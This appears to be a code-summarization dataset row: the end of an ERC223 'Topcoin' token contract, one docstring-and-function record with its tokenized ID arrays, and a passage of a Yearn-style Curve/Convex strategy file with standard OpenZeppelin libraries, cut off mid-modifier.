assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}
/// @title The ERC223 Topcoin Smart Contract
/// @author Merunas Grincalaitis <[email protected]>
contract Topcoin is ERC223, Pausable {
string public constant name = 'Topcoin';
string public constant symbol = 'TPC';
uint8 public constant decimals = 18;
// 3000M tokens with 18 decimals maximum
uint256 public constant totalSupply = 3000e24;
// The amount of tokens to distribute on the crowsale
uint256 public constant crowdsaleTokens = 1000e24;
uint256 public ICOEndTime;
address public crowdsale;
uint256 public tokensRaised;
// Only allow token transfers after the ICO
modifier afterCrowdsale() {
require(now >= ICOEndTime);
_;
}
// Only the crowdsale
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
// For the crowsale closing function
modifier onlyOwnerOrCrowdsale() {
require(msg.sender == owner || msg.sender == crowdsale);
_;
}
/// @notice The constructor used to set the initial balance for the founder and development
/// the owner of those tokens will distribute the tokens for development and platform
/// @param _ICOEndTime When will the ICO end to allow token transfers after the ICO only,
/// required parameter
function Topcoin(uint256 _ICOEndTime) public {
require(_ICOEndTime > 0 && _ICOEndTime > now);
ICOEndTime = _ICOEndTime;
balances[msg.sender] = totalSupply;
}
/// @notice To set the address of the crowdsale in order to distribute the tokens
/// @param _crowdsale The address of the crowdsale
function setCrowdsaleAddress(address _crowdsale) public onlyOwner {
require(_crowdsale != address(0));
crowdsale = _crowdsale;
}
/// @notice To distribute the presale and ICO tokens and increase the total
/// supply accordingly. The unsold tokens will be deleted, not generated
/// @param _to The user that will receive the tokens
/// @param _amount How many tokens he'll receive
function distributeTokens(address _to, uint256 _amount) public onlyOwnerOrCrowdsale {
require(_to != address(0));
require(_amount > 0);
require(tokensRaised.add(_amount) <= crowdsaleTokens);
tokensRaised = tokensRaised.add(_amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
/// @notice To convert the old tokens to the new version manually
/// @param _receiver The receiver of the tokens
/// @param _oldAmount How many old tokens does that user have
function convertOldTokens(address _receiver, uint256 _oldAmount) external onlyOwner {
require(_receiver != address(0));
require(_oldAmount > 0);
uint256 amountNewTokens = _oldAmount.mul(2);
balances[owner] = balances[owner].sub(amountNewTokens);
balances[_receiver] = balances[_receiver].add(amountNewTokens);
}
/// @notice Override the functions to not allow token transfers until the end of the ICO
function transfer(address _to, uint256 _value) public whenNotPaused afterCrowdsale returns(bool) {
return super.transfer(_to, _value);
}
/// @notice Override the functions to not allow token transfers until the end of the ICO
function transfer(address to, uint256 value, bytes data) public whenNotPaused afterCrowdsale returns (bool _success) {
return super.transfer(to, value, data);
}
/// @notice Override the functions to not allow token transfers until the end of the ICO
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused afterCrowdsale returns(bool) {
return super.transferFrom(_from, _to, _value);
}
/// @notice Override the functions to not allow token transfers until the end of the ICO
function approve(address _spender, uint256 _value) public whenNotPaused afterCrowdsale returns(bool) {
return super.approve(_spender, _value);
}
/// @notice Override the functions to not allow token transfers until the end of the ICO
function transferToAddress(address to, uint256 value, bytes data) public whenNotPaused afterCrowdsale returns (bool _success) {
return super.transferToAddress(to, value, data);
}
/// @notice Override the functions to not allow token transfers until the end of the ICO
function transferToContract(address to, uint256 value, bytes data) public whenNotPaused afterCrowdsale returns (bool _success) {
return super.transferToContract(to, value, data);
}
}
| @dev Function to check the amount of tokens that an owner allowed to a spender. @param _owner address The address which owns the funds. @param _spender address The address which will spend the funds. @return A uint256 specifying the amount of tokens still available for the spender. | function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
| 12,646,438 | [
1,
2083,
358,
866,
326,
3844,
434,
2430,
716,
392,
3410,
2935,
358,
279,
17571,
264,
18,
225,
389,
8443,
1758,
1021,
1758,
1492,
29065,
326,
284,
19156,
18,
225,
389,
87,
1302,
264,
1758,
1021,
1758,
1492,
903,
17571,
326,
284,
19156,
18,
327,
432,
2254,
5034,
13664,
326,
3844,
434,
2430,
4859,
2319,
364,
326,
17571,
264,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
1699,
1359,
12,
2867,
389,
8443,
16,
1758,
389,
87,
1302,
264,
13,
1071,
5381,
1135,
12,
11890,
5034,
4463,
13,
288,
203,
565,
327,
2935,
63,
67,
8443,
6362,
67,
87,
1302,
264,
15533,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: Booster
interface Booster {
struct PoolInfo {
address lptoken;
address token;
address gauge;
address crvRewards;
address stash;
bool shutdown;
}
function poolInfo(uint256) external view returns(address,address,address,address,address, bool);
// deposit lp tokens and stake
function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool);
// deposit all lp tokens and stake
function depositAll(uint256 _pid, bool _stake) external returns(bool);
// withdraw lp tokens
function withdraw(uint256 _pid, uint256 _amount) external returns(bool);
// withdraw all lp tokens
function withdrawAll(uint256 _pid) external returns(bool);
// claim crv + extra rewards
function earmarkRewards(uint256 _pid) external returns(bool);
// claim rewards on stash (msg.sender == stash)
function claimRewards(uint256 _pid, address _gauge) external returns(bool);
// delegate address votes on dao (needs to be voteDelegate)
function vote(uint256 _voteId, address _votingAddress, bool _support) external returns(bool);
function voteGaugeWeight(address[] calldata _gauge, uint256[] calldata _weight ) external returns(bool);
}
// Part: ICurveFi
interface ICurveFi {
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount
) external payable;
// crv.finance: Curve.fi Factory USD Metapool v2
function add_liquidity(
address pool,
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function balances(int128) external view returns (uint256);
function get_virtual_price() external view returns (uint256);
}
// Part: IERC20Metadata
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Part: Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: Rewards
interface Rewards{
function pid() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function extraRewardsLength() external view returns (uint256);
function extraRewards(uint256) external view returns (address);
function rewardPerToken() external view returns (uint256);
function rewardPerTokenStored() external view returns (uint256);
function rewardRate() external view returns (uint256);
function rewardToken() external view returns (address);
function rewards(address) external view returns (uint256);
function userRewardPerTokenPaid(address) external view returns (uint256);
function stakingToken() external view returns (address);
function stake(uint256) external returns (bool);
function stakeAll() external returns (bool);
function stakeFor(address, uint256) external returns (bool);
function withdraw(uint256 amount, bool claim) external returns (bool);
function withdrawAll(bool claim) external returns (bool);
function withdrawAndUnwrap(uint256 amount, bool claim) external returns(bool);
function withdrawAllAndUnwrap(bool claim) external;
function getReward() external returns(bool);
function getReward(address _account, bool _claimExtras) external returns(bool);
function donate(uint256 _amount) external returns(bool);
}
// Part: Uni
interface Uni {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
/* Uniswap V3 */
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
function exactInput(
ExactInputParams calldata params
) external payable returns (uint256 amountOut);
function quoteExactInput(
bytes calldata path,
uint256 amountIn
) external view returns (uint256 amountOut);
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.5";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
